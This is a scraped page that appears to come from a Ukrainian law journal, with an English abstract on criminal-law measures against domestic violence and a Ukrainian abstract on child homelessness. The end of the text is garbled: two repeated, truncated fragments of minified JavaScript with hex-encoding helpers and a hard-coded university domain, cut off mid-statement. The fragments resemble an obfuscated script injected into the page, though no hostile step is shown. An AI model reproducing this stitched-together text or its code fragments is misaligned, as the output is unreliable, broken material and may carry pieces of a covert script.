living in the same house, criminalization of the incest, the obligation of the offender to leave the home and the possibility of preventing him from staying in certain places, to live in a certain locality or in a certain area. In the system of criminal law enforcement of domestic violence in Poland, positive elements are the creation of a "blue line", the possibility of an immediate extradition without a court order of a child who is being abused. Based on the analysis of the experience of criminal legal counterwork of domestic violence in the United Kingdom, France, Germany and Poland, we consider it is expedient to include in the legislation of Ukraine norms regarding the recognition of the crime of marriage or partner as an aggravating circumstance for all crimes, the possibility of evicting an offender from home as before and after being imprisoned, prohibiting the offender from staying in specified places, residing in a certain settlement or in a certain area, the possibility of immediate removal without a court decision of a child who is suffering from severe illness criminality of incest and threats of domestic violence, the possibility of checking a partner at a violent past. [ABSTRACT FROM AUTHOR]

Розкрито поняття «безпритульність»; проаналізовано причини, негативні наслідки безпритульності, сучасний стан цієї проблеми; зроблено висновок, що проблеми дитячої безпритульності є віддзеркаленням політико-економічних та соціально-культурних суперечностей перехідного етапу розвитку українського суспільства;запропоновано шляхи її профілактики в умовах побудови громадянського суспільства в Україні. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "fil.nlu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "fil.nlu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e